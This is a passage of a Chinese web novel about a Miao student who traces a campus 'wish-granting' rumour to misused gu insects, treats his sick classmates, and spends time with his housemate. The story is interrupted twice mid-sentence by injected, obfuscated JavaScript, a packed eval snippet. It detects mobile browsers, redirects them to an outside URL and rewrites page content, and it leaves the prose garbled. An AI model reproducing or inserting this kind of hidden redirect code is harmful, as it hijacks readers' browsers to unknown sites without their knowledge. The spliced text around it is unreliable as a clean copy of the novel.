宁双这才坐下去。 陆宇洋等教授不再盯着他们后排看了,才抬起头去和宁双说话:“不就是手机掉了吗?你至于吓成这样吗?” “不是……”宁双有口难辩,“你再给我看看。” 那镜头的最后一秒,宁双分明看见了一种熟悉的虫子。 陆宇洋再次将视频点开,宁双直接把视频拉到了最后,手机落地,镜头和地面拉进,一个蚂蚁大小的虫子出现在了镜头。 “萤。”宁双皱起了眉。 “什么?”陆宇洋困惑。 宁双随意扯了个谎:“没事……嗯,是有点神奇。” 萤。是他们苗疆养的蛊虫,蚂蚁大小,腹部圆润,里面装着荧墨,被踩踏死亡后,体内流出来的荧墨就会发出幽蓝色的光,虽说没什么危害,但拿来装神弄鬼最合适了。 只是这种虫子怎么会出现在这里呢? 9.猜测 结合昨天不小心撞到他的那个男生身上闻到的味道,宁双不难猜出,学校里有蛊师。 此前宁双说过,学校有会蛊术的人是很正常的,因为族长推行的改革下来后,苗疆一族早就不像之前那样,进出困难了。 所以在任何地方遇到他们苗疆的人都是有可能的。 但是现在,有人在用蛊做违反族规的事情。 宁双很快就总结出来了这个结论。 昨天撞到他的那个男生么……宁双回忆了一下,书本掉落在地的时候,宁双从上面看到过他的名字。 陈鹭。 “陆宇洋。”宁双突然喊他。 陆宇洋看他一会儿发呆,一会儿又皱着眉沉思,这会儿倒是又想起他了,“干啥?” 宁双抬起眼看他,表情语气都很严肃:“帮我查个人。” 宁双是学生会的,查这些倒是也可以,但他只是纪检部的一个副部长,查到这个人也需要一定的时间,陆宇洋家世身份摆在这里,那就只是分分钟的事情了。 看宁双神情意外的认真,陆宇洋也一改平时吊儿郎当的表情,“怎么了这是?查谁啊?” 宁双:“陈鹭,白鹭的鹭。” 陆宇洋脑子里把这两个字过了一下,随后点头,“行,给我三分钟。” 他拿起手机,给底下的人发了消息出去。 三分钟不到,陆宇洋就收到了两个学生的信息,“两个叫陈鹭的,哪个啊?” 宁双回忆了一下:“男生,短头发,鼻翼左侧有一颗痣。” “哦哦,那就是这个。”陆宇洋递出了手机。 “几班的?”宁双只关心他现在所在的班级。 陆宇洋:“大一会计系四班的。” 宁双赶紧打开校园软件,在上面翻看起了今天会计四班的请假条,他是学生会的,学生请假会将假条抄送给他们,所以能够翻看他们班今天的请假记录。 果不其然,从昨天下午开始,这个人就请假了,今天也是请的病假。 “怎么了?你表情怎么这么严肃?”陆宇洋将宁双递过来的手机装在了口袋里,疑惑地问对方。 关于这个疑惑,宁双当然不能和陆宇洋说,把陆宇洋牵扯进去了也不好。 “没事,就是感觉这个地方好诡异。”宁双说。 陆宇洋不以为然:“那今晚我们去看看?” “不去,我要睡觉。”宁双当然不想去,他隐隐猜到了那个废弃实验大楼的谣言和蛊有关,身为苗疆人,宁双一点也不想去掺和这些事,事情闹大了,苗疆那边肯定会派长老过来调查的,他一个支系后代,根本就没蹚浑水的必要。 只要提醒自己身边的朋友暂时别去那里就行了。 “那不会是害怕了吧?”陆宇洋的激将法实在是太没有含金量了,宁双一点也不为所动,反而白了陆宇洋一眼,顺着他的话说:“哎呀呀,我要怕死了。” 陆宇洋:…… “算了,也是,要是让我遇见那个守护神啊,就该是我问他有什么想要实现的愿望了。”陆宇洋摊开手,一脸无所谓。 这事也就这么掀过去了。 下课后陆宇洋回家去吃饭了,宁双在食堂吃完午饭,主动申请了今天中午大一会计系的寝室安全检查。 学校每周五中午排查一次,排查违规电器和违规用具。 虽然这些是其他部的任务,宁双揽了一些过来,他们也觉得轻松。 宁双最后才去到会计四班陈鹭的寝室。 走进寝室的瞬间,屋里飘来一股很浓郁的香味,不难闻,甚至有点甜腻,这不像是香水的味道。 寝室是四人寝,只有两个人在寝室,一个在阳台洗衣服,另一个人就是床上躺着的陈鹭了。 宁双进去象征性地四处看了看,然后问洗衣服的男生:“床上那个同学不舒服吗?” “对,他生病了。”洗衣服的学生说。 宁双点了一下头,“我看他好像烧得有些严重,已经吃过药了吗?” “去看过医生了,就是感冒了,刚刚也吃完药了,估计过两天就好了吧。”男生没想到宁双观察这么仔细,说话也温柔,看起来是真的很关心自己那个生病的室友。 宁双:“好,我看看他怎么样了。” 男生简单交代了一下情况:“行,他昨天上午其实就不舒服了,假是昨天中午看完医生后请的假。” 宁双眉峰凝起,踩着柜梯到了陈鹭身边,他抬手摸了摸陈鹭的额头,并不烫……但脸色特别红润,唇烧得都发干了。 “同学,你怎么样啊?要不要再去看看医生?”他装模作样,弯下腰去推搡陈鹭的肩膀,却在凑近对方后吸了吸鼻子。 果然是蛊的味道。 “你谁啊……”陈鹭被晃醒了,艰难掀开了眼皮,结果就对上了一对澄澈温柔的眼眸,宁双一张清俊的脸离他仅半米的距离,他下意识要去拉住肩上搭着的手。 宁双赶紧连人带手往后退开,顺手又拿起手边的名册给他扇了扇风,说:“我是大二学生会查违规的,看你感冒得有些厉害,想让你再去看看医生。” 宁双随便找了个借口。 陈鹭看着他的眼神渐渐变得感动了,随后他扯着嘶哑的嗓音,艰难地吐出了几个字:“谢谢学长,我买了药。” “哦,那行。”宁双脑子里把这种味道过了好几遍。 啊啊,当初不认真上课,现在要用到知识点了,硬是一点都记不起来,这到底是哪一类蛊啊?? 脑子里,一个小宁双跪在地上抓头痛哭。 陈鹭现在这个样子,要是不赶紧给他调出解蛊的药,保不齐会出什么意外。 要是闹大了,不就连累到这所学校其他苗疆一族的人了?何况宁双自己也是苗疆的…… 宁双若有所思地离开了他们寝室。 下午宁双去帮忙把赵微凉的选修课替了,老师上课前点了名,所以课间休息的时候宁双就找机会溜走了,宁双专门拿半个多小时去翻阅了一下族里的资料,可算知道陈鹭身上的蛊和什么有关了。 智蛊,也就是宁双之前和陆宇洋提到过的,可以给人开智的蛊,但正常利用的话,怎么会有这样的反噬呢?对方如果不是半吊子,就一定是存了心这么做的。 不过宁双既然摸清了是什么蛊,自然也知道怎么解蛊了。 现在开溜出来,正好再去看看陈鹭,能解了对方身上中的蛊当然是最好的了。 会计四班现在有课,宁双借着自己学生会的身份,随便找了个借口就去到了陈鹭在的寝室。 拿着从宿管那里借来的钥匙,宁双开门走了进去。 寝室很安静,陈鹭安安静静躺在床上,艰难地喘着粗气,空气中的蛊“香”很浓郁,寝室没有开空调,外面是大太阳,寝室内却冷得很。 宁双走去阳台打开了窗帘,昏暗的房间瞬间被阳光充盈了,一只蝴蝶煽动着翅膀,慢慢落在了窗台上。 宁双走回来,顺着柜梯上去坐到了陈鹭床头的柜子上,“陈鹭,你还好吗?” 这人已经烧得糊涂了,张着唇不知道在低喃什么,宁双从口袋里摸出一叠有些湿润的手帕,放在了陈鹭鼻子处,让对方将手帕上的味道全部吸进了鼻腔。 陈鹭只觉得自己在做一个很沉重的梦,梦里,下着暴雨,空气是湿黏的,天色是阴暗的,路上人来人往,他站在人群中,呼吸困难,越来越困难。 然而这时,空气中忽然传来了新鲜的花果清香,这股沁人心脾的清香驱散了大雨,驱散了头顶的雾霾,天气转晴,人流也渐渐减少,他不再感到压抑和痛苦。 呼吸也渐渐顺畅了。 宁双见他紧皱的眉头慢慢舒展了开,脸色也渐渐恢复了正常,这才把手帕拿回去。 当年学习蛊术的时候,宁双虽然三天打鱼两天晒网,但像这种基础的蛊他还是能解的。 床上的人慢慢掀开了眼皮,空洞的眼神慢慢恢复了几分清明,直到最后染上了亮光,他注意到了坐在床头的宁双。 “你是中午那个……”陈鹭话还没说完,突然意识到自己的嗓子好像没有那么沙哑了。 宁双点了一下头,“你多休息一会吧,我刚刚来楼里办点事,路过你们宿舍门口,听到你咳嗽就顺便进来看看了。” “我咳嗽了?”陈鹭撑着床铺,慢慢坐起了身,然后摸着嗓子,疑惑地看着宁双反问。 宁双一脸坚定地点了下头,“当然,不然我为什么凭空来你宿舍?” “好些了吗?”宁双决心岔开话题。 陈鹭:“好多了。” 宁双:“那就行,喝水吗?我给你倒点?” 说实话,在陈鹭看来,宁双和他是今天才刚认识的,但他没想到对方会这么关心自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098865|163702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己,这让一直是班级甚至社会透明人的陈鹭感到了一丝温暖。 他看着宁双发呆,宁双却不知道他心里想了这么多事,他本来就是不可能会袖手旁观的性格,何况这件事和宁双的母族有关,宁双并不想那些人干的事把身为苗疆的自己也拉下水,当然会顺手帮一下陈鹭了。 “陈鹭?”宁双见他发呆,又喊了他一声。 陈鹭回过神,用沙哑的嗓音说:“不用了,谢谢学长……” 宁双点了点头,“没事了就行,生病了还是多去医院看看,就一直待在寝室也不是回事。” 他扶着床沿,慢慢走下了柜梯。 陈鹭赶紧撑着床栏,盯着床下的宁双,却见宁双走去他书桌前,用他的水杯去寝室饮水机前接了一杯水,随后宁双端着水走了上来。 他把水送到了陈鹭跟前,“喝点水吧,嗓子干成这样了。” 陈鹭可能不知道,他的声音嘶哑得像是在指甲在黑板上抓挠一样。 陈鹭受宠若惊,双手接过了宁双递过来的水。 宁双也不打算久留,看他精神状态好了很多,也就走下床打算离开了,陈鹭赶紧叫住他:“学长!” 宁双回头:“怎么了?” 他五官清隽,眉眼端正,颊边一对梨涡显得很温和,这无意识就拉进了两人的距离,陈鹭握紧水杯,声音磕绊:“学长,可以告诉我你的名字吗?” 宁双正好也想问他一些事,便倚在了门框边,环抱着手臂看着他道:“那你先回答我一些问题。” 陈鹭赶紧点头:“好。” 宁双:“你去那个废弃的实验大楼许过愿望吗?” 陈鹭神色一僵,这下不用他回答了,宁双看他表情就知道答案了。 “学长,是不是学校发现了,让你来和我说,以后学校会通报批评我吗?”陈鹭神色很是慌张无措。 宁双安抚说:“没有,你不用紧张。” “不过学习啊,只有认真学进去了的才是你的,否则任何外力加给你的知识,都是短暂的。”宁双离开前还丢下了这样一句莫名的话。 随着房门的关上,陈鹭好像明白了宁双说的话是什么意思了。 —— 从陈鹭寝室出来后,宁双把事情从头到尾捋了一遍,也就是说上学期这个谣言或许就是和蛊有关,后来学校打击谣言,提早给他们放了假,不久就澄清了谣言。 然而这学期一开始谣言就再度上演了。 宁双上学期没发现这个谣言和蛊有关,可能就是因为那时候对方是真的“拿钱办事”,用的蛊量刚刚好,不像现在这样…… 那赵微凉生病? 宁双想到这里,一下就联想到了今天请病假的赵微凉。 看来赵微凉生病也是和蛊有关。 但是现在已经下课了,宁双要去上专业课,上完课还要去给商学一班的人发军训服,就只能等忙完这些去看赵微凉了。 他上课前给赵微凉打了一个电话,确认了一下对方目前情况还好,才稍微放心了一些。 —— 这个时间算晚夏了,但天气还是很热,下午时分,残阳罩在天际,正是下课的时间,整个校园全是往来的人声。 落叶被风带起,在空中打着卷,又摇摇晃晃地掉落下来,落在了肩头,宁双抬手扫去了落叶。 刚一抬头,就看见季淮之从远处走过来。 他外面又穿上了一件黑色风衣,长发搭在肩侧,多余的鬓发散下来,多了几分清冷感。 他来得有些晚了,宁双都已经把所有人的军训服发完,让他们各自回寝室准备上晚修了。 宁双刚打算给季淮之发消息让他不用过来了,自己会帮忙把他的衣服拿回去的,结果一抬眼就看见季淮之赶过来了。 能看出来,季淮之虽然也是这个班的,但大多人似乎和他都不算熟悉,至少除了宁双这个班助,并没有人主动上前和季淮之搭话,不过偷偷打量季淮之的目光却并不少。 人群渐渐散却,宁双上前把手里的军训服递了出去,小声对季淮之说:“我今天大概会晚点回家,但不会特别晚。” 季淮之接过军训服,点了下头,问:“你很忙吗?” “我一个朋友生病了,我去看看他。”宁双解释。 季淮之抿直了唇,看着宁双的眼睛,突然说:“我可以和你一起去吗?” 10.购物 “嗯?”宁双没料到季淮之突然会主动说这么句话。 风从河面吹过来,宁双闻到了夏日特有的河腥味,还有季淮之身上的味道,和他在废弃实验大楼那里闻到的一样。 再联想到他有两次都撞见季淮之在那里了。 季淮之这样的人也有愿望吗?他想要得到什么呢? 看宁双盯着自己出神,季淮之换用一种试探的语气轻声问:“是不是不合适?” “没有没有。”宁双连连摆手摇头,“可以的,那你和我一起去吧,看完正好我们还能一起回家。” 宁双把他放在地上的书包拿起来,“那你把衣服装进来吧,手拿着不方便。” 季淮之听话放了进去,宁双拉好拉链,正要将书包背在身上,季淮之却先一步抓住书包带子,将背包垮在了肩上。 宁双看着他,一时有些愕然,季淮之却仿若没看见他眼底的愕然,和宁双对视着,问:“可以去了吗?” 宁双赶紧点头,“可以可以,走吧。” 他埋着脑袋走在了前面,心道自己确实有些看不清季淮之这个人,初见对自己的态度和现在对自己的态度简直就是判若两人。 赵微凉的宿舍在十四楼,现在正好是下课的时间,放学回寝室的学生特别多,两人在电梯前等了一轮才进到电梯里。 季淮之站在角落里,宁双就在他跟前,电梯里人挤着人,两人也被迫紧挨在了一起。 “季淮之,挤到你了吗?”宁双为了避开了和季淮之对视,直接埋下了脑袋,说话间,呼吸全都喷洒在了对方的颈脖间。 “还好。”季淮之眉睫一低,视线落在了宁双头顶的璇上面,洗发露的清香馥郁在鼻侧,季淮之这两个字都是勉强从喉咙间挤出来的。 “你身上的味道很好闻。”宁双吸了吸鼻子,压低了声音说。 季淮之身上,除开废弃实验大楼那里古木青竹的味道,本身的味道是很淡的,像是被初雪覆盖过后的檀木香,清冷又孤傲。 和季淮之这个人很搭配。 宁双并不觉得这个动作暧昧,他没有谈过对象,也没有暧昧的对象,但是他有很多朋友,而朋友和他之间的讲究并不多,在他看来,这只是一个朋友间很普通寻常的动作。 季淮之腿侧的手突然蜷紧,他抿直了唇,不知道怎么回宁双的这句话。 宁双嘿嘿一笑,抬起头和他对视,又问:“是沐浴露的味道吗?” “或许。”季淮之别开了头。 两人挨得很近,搭在肩侧的长发,甚至有一些落在了宁双的肩头,发丝拂过宁双的脸,有些酥痒。 现在这一幕这对季淮之来说是有些煎熬的。 还好十四楼很快到了。 随着“叮”的一声,电梯里播报十四楼到了,宁双才赶紧拉着他的衣袖,和他挤出了电梯。 “还好下面几楼下的人少,不然我们还要在电梯里挤一会儿。”宁双松开了手,语气有些庆幸,然后转身往楼道里面走了去。 季淮之没说话,只不动声色地加快脚步跟上了宁双的步伐。 宁双很快到了赵微凉在的寝室门前。 他敲了敲门,里面的人很快上前来打开了门。 开门的是赵微凉的一个舍友,看见宁双的立马惊讶出声:“宁双!你怎么来了?来找老赵?” “对啊,他不是感冒了吗?我来看看他。”宁双解释。 小罗歪着脑袋看向了宁双身后的季淮之,宁双顺着他目光看出去,赶紧介绍了季淮之的身份:“这是我朋友,陪我一起来的。” “好,你们先进来吧。”小罗目光落在季淮之的脸上打量了几秒,然后给他们让开了路。 宁双回头对季淮之说,“进来吧。” 季淮之点点头,也抬脚跨进了寝室。 他眸色一沉,看向了四号床位上躺着睡觉的人。 “周哥,老余,你们看谁来了?”小罗关上门后,赶紧走去了阳台对两个正在洗衣服的人说话。 “谁啊?” “宁双!”小罗说。 “宁双?”阳台探出了两个脑袋。 宁双哼地一笑,“你们在干什么呢?” “洗衣服啊,你来看老赵吗?”留着微分碎盖发型的周哥举起手给宁双看了看自己手上的泡沫。 宁双点头:“是,我来看看老赵。” “他现在睡着了,烧得有些厉害。”阳台的三人走过来,舍长老余搂过了宁双的肩膀说。 身后的季淮之目光在宁双肩上的那只手上停顿了一下,眼尖的周哥注意到了他,“哎……这位同学是?” 宁双赶紧后退到季淮之身边,给剩的两人介绍说:“这位是我朋友,来陪我一起看看老赵。” “你们叫他季淮之就好了。”说完话,他又对季淮之说,“你就在这里等一下,我去看看赵微凉。” “好。”季淮之点了下头。 宁双踩着梯柜走到了赵微凉的床边,人叫微凉,现在烧得却叫“滚烫”了,宁双的手刚碰上赵微凉的额头,就被烫得缩回了手。 “烧成这样?”他摸了摸脑袋,又摸了摸赵微凉的脖子,他和赵微凉关系好,这些举动都只是很正常的朋友之间的相处。 季淮之抬眼看着他们两人,目光在宁双的手上凝顿了许久。 好久后,他才收回目光,蜷起手抵在唇边轻咳了两下,寝室安静,他这一声便让宁双听见了,他回头看向季淮之,问:“你不舒服吗?是不是因为刚刚在楼下吹了风?” 不知道是不是因为季淮之性格沉默寡言,又留着长发的缘故,宁双总觉得季淮之是一个身体不太好的人。 季淮之抿了一下唇,语气沉静:“还好,我没事。” 宁双点点头,收回了关心的目光,又看向床下的其他三人问:“他吃过药了吗?” 小罗点头:“早上中午吃了,晚上的还没。” 宁双微微颔首,低下头闻了闻赵微凉身上的味道,竟然真是蛊,陈鹭多半是许了和学习成绩有关的愿望,所以中了智蛊。 那赵微凉许愿脱单,中的或许就是魅蛊,不同于情蛊,魅蛊是让别人对他有兴趣,情蛊是中蛊人对下蛊人钟情。 下蛊的人很明显没掌控好用量,这便是蛊的危害,稍微不控制用量,就会带来反噬。 “周哥,给我倒杯温水,让他把药喝了再睡吧。” 周哥说好,然后上前拿起赵微凉书桌上的水杯去接了一杯温水,又把赵微凉桌上的感冒药一并递给了宁双。 宁双看了看药的名字,就是简单的预防感冒药,喝了也不见有什么危害,于是他叫醒了赵微凉。 “赵微凉,喝了药再睡觉。” 赵微凉目前的状态没有陈鹭严重,喊醒后还能坐起身来,“宁双,你怎么来了?” “过来看看你,你咋感冒得这么严重?”他将药和水递给了赵微凉问。 赵微凉:“昨晚吹了夜风吧……” 他说完把宁双递给他的药含在嘴里,就着水咽了下去。 喝完药后,宁双把自己的手帕递了出去,赵微凉拿他的手帕擦了擦被水打湿的唇。 手帕里的清香从鼻腔钻进去,很快就在脑海里荡了一圈,赵微凉当时就觉得脑子清醒了不少。 “嗯?”赵微凉努力嗅了嗅宁双的手帕,随后递回去说,“你手帕咋这么香?” “有吗?”宁双不以为然,把手帕装回了口袋,“洗衣粉香吧。” 赵微凉:“我感觉我好多了,这个药还是挺管用的,等我今晚再睡一觉,估计明天就好了。” 宁双心道我要不来,你再睡几觉就可以与世长辞了。 “好多了就行,我给你替了一节课,回头可得给我替回来啊。”宁双看着赵微凉状态是好了很多,这才端起空水杯,扶着床沿走下了梯柜。 “宁双!”赵微凉趴在床的扶手上喊他,宁双抬头看向赵微凉,“干嘛?” “我怀疑我不是被风吹感冒了。”赵微凉一脸坚定地看着宁双,说。 宁双眉头一皱:“哈?” 赵微凉信誓旦旦道:“真的!” “我昨天晚上看见了会发光的地板,还有很多人在楼上说话,我真的听到有人和我说话了,问我的愿望是什么,我把我脖子上的黄金给了他,说让我这学期脱单,他就说他收到了,然后什么都没有了,等我回来就不舒服了,今天一整天我都在做奇怪的梦。” 宁双垂下眼皮,眸珠转了转,随后抬头看赵微凉:“我看你现在才是撞鬼了。” “赵微凉,你烧糊涂了?吃了药再睡会儿吧,说话都神志不清了。”老余是寝室里坚定的唯物主义战士,一听见别人说什么鬼鬼神神就烦。 上学期宁双在他们寝室睡觉,大晚上他们讲鬼故事,老余就在一边打假讲原理。 赵微凉躺回了床上,“好吧,我可能真是烧糊涂了。” 宁双叹了一口气,“睡觉吧睡觉吧,估计你明天就好起来了。” “谢谢你还来看我,你这一来,我感觉我都神清气爽了。”赵微凉说。 宁双被逗笑了,他问:“昨晚除了你,还有人去那里许了愿吗?” “有啊,好几个人呢。”那些人和宁双并不是很熟,现在是什么情况宁双也不知道。 不过要是都和赵微凉的情况差不多,他难道要挨个去看吗? 想想就很烦,到底是谁在捅篓子啊?他轻叹了一口气,“算了,我回去做饭吃了,饿了。” “走吧,季淮之,我们回去吧。”他走到季淮之跟前说。 听到宁双的声音,赵微凉又爬坐起来,一脸八卦地看着两人:“宁双,这就你昨天和我说的你那个很帅的室友吗?” 宁双赶紧装傻:“什么?我说什么了?谁很帅?你烧糊涂了吧?” 他一脸心虚,推着季淮之赶紧离开了宿舍。 离开了他们寝室,宁双深吸了一口气,对季淮之解释说:“他瞎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“好了,我不说了,说多了你都想不过来了。”他们前后上了公交车,宁双拿乘车码扫了一下,季淮之在身后投了两枚硬币在收银箱里面。 宁双坐在了后排靠窗,给季淮之留出了空位,季淮之挨在他身边坐了下去。 宁双有些拘束地搓了搓膝盖,车窗外面的风吹进来,宁双的头发都被吹掀起来了,“对了季淮之,你还没吃晚饭吧?” “还没。”他忙完自己的事后就去宿舍楼下找宁双了,所以还没来得及吃晚饭。 宁双偏过头看他:“那晚上我下厨吧,一会儿你先回去,我去超市买点菜和一些日用品。” 他话音刚落,季淮之就跟着说:“我也想去。” 宁双有些意外,但更多的是开心,“真的呀?也好,你去的话,你还能选一些你也爱吃的菜。” “嗯。”季淮之点了下头。 几站过后,公交车到了站点,两人又先后下了公交车。 下车后,一阵很大的风吹过来,宁双打了一个喷嚏,季淮之眸色凝深了一些,他看着宁双问:“要先回去拿一件外套吗?” 宁双身上穿着短袖,裤子也很单薄,风全都灌进衣服里面去了。 “不用,我身体好得很。”宁双带着季淮之过了马路,往商场走了去。 这个点超市的人还是有很多,宁双推着购物车,直奔了蔬果区,他们运气很好,水果蔬菜刚刚上了一批新鲜的,完全够宁双慢慢挑拣。 “你吃茄子吗?”宁双问。 “嗯。”季淮之轻声回。 “玉米呢?明天早上我们煮玉米吃吧?” “可以。” “那就再买一些鸡蛋,还有番茄,我晨跑回来可以煮番茄鸡蛋汤。” “好。” “蘑菇也买点,怎么样?” “行。” …… 怎么说呢,季淮之虽然没有主动挑选过买什么,但对于宁双却是句句有回应。 察觉后,宁双停下来脚步,身后跟着的季淮之差点贴了上去。 “季淮之,你想吃什么?别老是让我选啊。”宁双转身看着身后的季淮之说。 “我都可以。”季淮之说。 宁双:“那水果呢?你有想吃的水果吗?” 季淮之:“还好。” …… 真是话聊不到一起去,宁双觉得有些自讨没趣,又推着购物车往前逛了。 买完菜回家正好六点半,宁双系好围裙开始准备做晚饭。 季淮之主动在一边打下手,他将长发用一只木质长簪挽了起来,鬓边落下的碎发显得他这个人意外的温和。 大概因为空间狭窄,宁双兀地又闻到了熟悉的味道,是在废弃实验大楼前面闻到的,这么久了味道还没散却,季淮之说不定去到里面过。 宁双切菜的手停顿了一下,突然偏头对季淮之说:“季淮之,你有什么一定要实现的愿望吗?” 季淮之长睫掀起,冷水冲着他的手指指尖和白菜叶,顿了几秒钟,他突然偏头看向了宁双,他的目光像是沉静的死海,没有波澜,瞳仁伸出晕开暗紫色的光,睫毛掩出的阴影像一汪沼泽,有着深不见底的幽深。 宁双察觉到了季淮之的沉默和目光,也偏头看向了季淮之,季淮之却别回了头,这时才开口说:“有。” 11.梦境 有的话,那就错不了了。 季淮之为了这个愿望,去到过那栋房子里面。 但季淮之这几天夜里没有出去过,所以他才没有中蛊,要是哪天季淮之晚上去了那大楼里面,可就不好了…… 宁双思绪飘远,他得去一趟那里,搞清楚到底是什么人在搞鬼,最好把这件事解决了,毕竟是和苗疆一族有关的事,如果闹得让长老们过来处理了,说不定还会牵连到自己。 而且趁早解决了,还能保护好季淮之。 “宁双?”宁双先是不明不白地问了那么一句话,而后就盯着他开始发呆沉默,季淮之只好出声将宁双唤回神。 宁双:“嗯,没事,我就是问问。” 宁双不打算多问,他又笑着问:“我做风味茄子,吃吗?” 季淮之点头:“嗯。” “那就再炒一个牛肉芹菜,紫菜蛋花汤,可以吧?!” 两秒后,季淮之说“好”的声音又响起。 晚饭很快就做好了,还是宁双掌的勺,他很小的时候就会做各种各样的菜了,如果不是时间赶,宁双还能做一些饭后糕点。 饭桌前,宁双打好了两人的饭,又将筷子递给了季淮之,“吃饭吧。” 他一坐下,宁敦敦就支起上半身,前爪趴在宁双身上,吐着舌头,“汪,汪……” “不是给你吃过饭了吗?”宁双夹了一块茄子放在了桌角边宁敦敦的碗里。 宁敦敦吃完后又趴在了宁双的腿上,一个劲地在宁双怀里拱,宁双照着它的脑袋敲了一下,“呜汪!” 宁敦敦把前腿从宁双的腿上拿了下来,乖乖蹲在了餐桌下面,宁双:“不许吃了。” 季淮之看着他们,察觉自己心情也好了很多。 “好了,不管它了,我们快吃饭吧!”宁双将手边的菜往季淮之那边推了一些,“尝尝牛肉小炒。” 季淮之拿起长筷,听宁双的,夹起了一块牛肉。 “怎么样?味道还好吧?” 季淮之点头。 “那就多吃点,今晚把这些菜吃完,明天早上我煮八宝粥吃。”做饭的人就是这样,被肯定两句就更来劲了。 “好。”客厅没有开灯,现在照明的是餐桌上方一盏昏黄的等,黄色的光落在宁双身上,为他这个人镀上了一层柔和的金光,头发丝,眼睫毛都被染成了金色。 季淮之看着眼前的人,有一瞬间的恍惚,长睫一颤,随后垂下头没再说一句话。 —— 晚上十一点左右,整个房子都安静了,楼下宁敦敦睡得昏天暗地的。 和季淮之互道晚安已经过去一个小时了,但宁双身上还是穿着白天那套衣服,外面多了一件黑色薄外套。 他房间很暗,只靠着床头的台灯勉强照明,他坐在床边的地毯上,身边全是各种瓶瓶罐罐。 族里已经规定不能再养蛊用蛊了,但宁双早之前做的东西没地方放,也就一起带来上学了,没想到现在还有用得上它们的时候。 宁双翻看了半天,因为是个半吊子,宁双自己都分不清有一些蛊的名字和作用了,贴在瓶子上的标签也不知道去了哪里。 区分了半天,宁双好歹是分清了大半。 “嗯……”宁双打开瓶塞,闻了闻。 bia—— 好臭。宁双眼泪都给熏出来了。 “瞌睡蛊。”宁双将标签写好字,贴了上去。 又闻了一瓶,很香,很淡的花香,“情蛊——” 宁双继续贴标签。 就剩下一瓶没了标签的蛊了,他拿起来闻了一下,和上一瓶的味道很相似,也是淡淡的花香,但是花香比较浓郁,其中好像有淡淡的血腥味。 嗯?也是情蛊?宁双使劲吸了两鼻子。 那上一瓶应该不是情蛊,宁双记得有两种蛊的味道极为相似,但作用却大不同,许是这瓶和上一瓶了。 想了想,宁双把上一瓶的标签扯过来贴到了手中的瓷瓶上,又写了“真言蛊”的标签给上一个瓶子。 把所有的蛊分好类后,宁双伸了个懒腰,把好多种解蛊的药装在了随身的挎包里。 明天是周末,宁双今晚去实验大楼忙完,明天白天拿来补觉就很合适了。 等抓到那个背后的始作俑者,宁双真要给他几拳,使劲教训一下他,叫他只会给他们苗疆族人惹麻烦,害得宁双这个支系后代都不能独善其身。 穿好衣服后,宁双又从抽屉里拿了一条手帕出来,倒了一些清醒的药汁在上面,放在口袋里装好后,就小心打开房间门偷溜了出去。 他将拖鞋脱下来,光着脚下了楼,狗窝边熟睡的宁敦敦突然支起脑袋,“呜汪!” 下一秒,宁敦敦跑过来扑到了宁双身上,宁双赶紧捏住宁敦敦的嘴巴,“别叫!” 宁敦敦瞪着双狗狗大眼,困惑地看着宁双,“我出去给你打猎。” “安静点,知道吗?”宁双压低了声音说。 这下宁敦敦听懂了,宁双松开手后,它果然没有再出声了。 宁双蹑手蹑脚去玄关换了鞋子,拿上钥匙就出门了。 身后,宁敦敦吐着舌头望着紧闭的房门,随后,它回头看向了楼上。 二楼季淮之房间的门被慢慢打开,一双阴暗的眸珠出现在门后,夜色在他的瞳珠上凝成了一层晦暗的光,暗紫色的光亮从中晃过。 —— 虽说现在淮北市白天的天气很热,但晚上却却又和秋天一样冷,宁双庆幸自己出门还带了一个外套。 宁双在门口扫了个共享单车,骑着自行车去了学校。 学校不会关校门,门口的保安是二十四小时轮班,宁双现在进去还给对方看了学生证才被放进去。 其实这事如果和他们苗疆没关系的话,宁双压根不会来蹚浑水,但是没办法,这些事怎么看都和他们苗疆脱不了关系,宁双只要流着苗疆一族的血,就不可能独善其身。 何况赵微凉,还有学生会的那几个人,都是自己的朋友。 宁双叹气,还是钻进了竹林小道里面。 夜色正浓。 月光从翠竹竹叶间隙透射下来,落在地面,像是一段段铮铮白骨,脚下枯萎的竹叶被踩得“咔嚓”作响,夜风阵阵,月光盈盈。 越靠近实验大楼,宁双越觉得不适,这种不适倒不是身体不舒服,只是单纯觉得抵触。 他外套拉得严实,浑身上下都是黑的,融进了黑夜里,一时也看不见有这么个人。 走到大楼之前,宁双忽然看见大楼里面晃着几道手电的光,那所谓的“守护神”要保持神秘,肯定不会弄出这样的动静,就说明这些光亮或许又是有学生前来许愿了。 宁双拧了拧眉,抬脚跨上了台阶,传说中二十层台阶,若是多数出了一层,那就可以继续去到大楼里面许愿。 宁双两手叉在腰间,一步一步地往上数。 “一,二,三……” “二十。”宁双跨上平台的瞬间,二十这个数字也脱口而出。 恰不说明这里的台阶本来就是二十级吗? 至于为什么有人会多数出一级,宁双其实也猜到了。 他们无非就是太想要被实现愿望了,所以在紧张中数错了,或者就算数出了二十级台阶,他们也不愿意承认,还是抬脚跨进了大楼里面。 而一旦进入到大楼里面,就开始中了人家的圈套。 宁双太懂了。 他打开了手机手电筒,照亮了脚下的路,宁双一步一步走进了大楼里面。 刺骨的寒风在大楼里无孔不入,宁双头发被吹得掀起来,一股浓郁的蛊香扑面而来,角落四处传来虫鸣。 宁双关了手电筒,踩上了上楼的台阶,台阶上果然留下了荧光蓝的脚印,仔细听的话,宁双甚至能听到“萤”被踩碎时的破裂声。 他拿出一瓶驱赶蚊虫的药水,倒在了台阶上,不一会儿,密密麻麻的虫子争先恐后离开了台阶。 到了二楼,他终于看到了刚刚在楼里打手电筒的人了,是两个男生,一胖一瘦,胖的那个要高一些,两个人在各个废弃的房间里面来回窜。 宁双的出现反而吓了他们一大跳。 “你也是来找守护神许愿的?”调整好了心情,胖的那个男生质问宁双。 宁双撅了下眉,“是。” 